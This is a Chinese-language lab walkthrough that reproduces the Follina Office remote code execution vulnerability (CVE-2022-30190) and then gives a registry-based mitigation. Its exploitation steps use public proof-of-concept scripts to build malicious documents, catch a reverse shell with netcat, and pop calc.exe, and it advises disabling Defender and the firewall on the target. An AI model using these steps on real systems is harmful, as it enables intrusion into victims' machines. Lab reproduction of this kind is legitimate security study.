Microsoft Office 远程代码执行漏洞 CVE-2022-30190：安全警报

0x00 漏洞复现环境

在进行漏洞复现前，需要搭建以下环境：

• 目标机：Windows 10，Office 2013 专业版
• 攻击机：Kali Linux
• 网络设置：NAT 模式

0x01 漏洞复现

复现一、利用POC进行反弹shell

利用 JohnHammond 的 msdt-follina POC 进行漏洞利用。

1. 在攻击机上克隆 POC 代码：git clone https://github.com/JohnHammond/msdt-follina.git
2. 执行 POC，生成 follina.doc 文件：python3 follina.py -r 5555
3. 将 follina.doc 文件上传到目标机，并双击执行。
4. 在攻击机上查看获取到的 shell：nc -lvnp 5555

复现二、利用脚本进行弹出计算器

利用 chvancooten 的 follina.py 脚本 进行漏洞利用。

1. 下载脚本到攻击机，并执行以下命令：python3 follina.py -m binary -b \windows\system32\calc.exe -t docx --port 8888
2. 将生成的 docx 文件上传到目标机，并双击执行。
3. 计算器弹出，漏洞复现完成。

0x02 漏洞修复

禁用 MSDT URL 协议以防止漏洞的利用：

1. 以管理员身份运行命令提示符。
2. 备份注册表项：reg export HKEY_CLASSES_ROOT\ms-msdt filename
3. 执行以下命令禁用 MSDT URL 协议：reg delete HKEY_CLASSES_ROOT\ms-msdt /f
4. 避免点击来自陌生人的连接和文件，以减少安全风险。

注意事项

• 在漏洞复现过程中，确保关闭 Windows Defender 和靶机防火墙，以免干扰漏洞利用过程。
• 在下载和执行脚本时，可能会遇到端口占用和权限问题，需适当调整命令和权限设置。

总结

通过漏洞复现过程，我们了解到 MSDT URL 协议的漏洞可能导致远程代码执行，存在严重的安全风险。建议及时采取修复措施以防范潜在的攻击。

总共利用到的脚本下载地址：

https://github.com/chvancooten/follina.py
https://github.com/JohnHammond/msdt-follina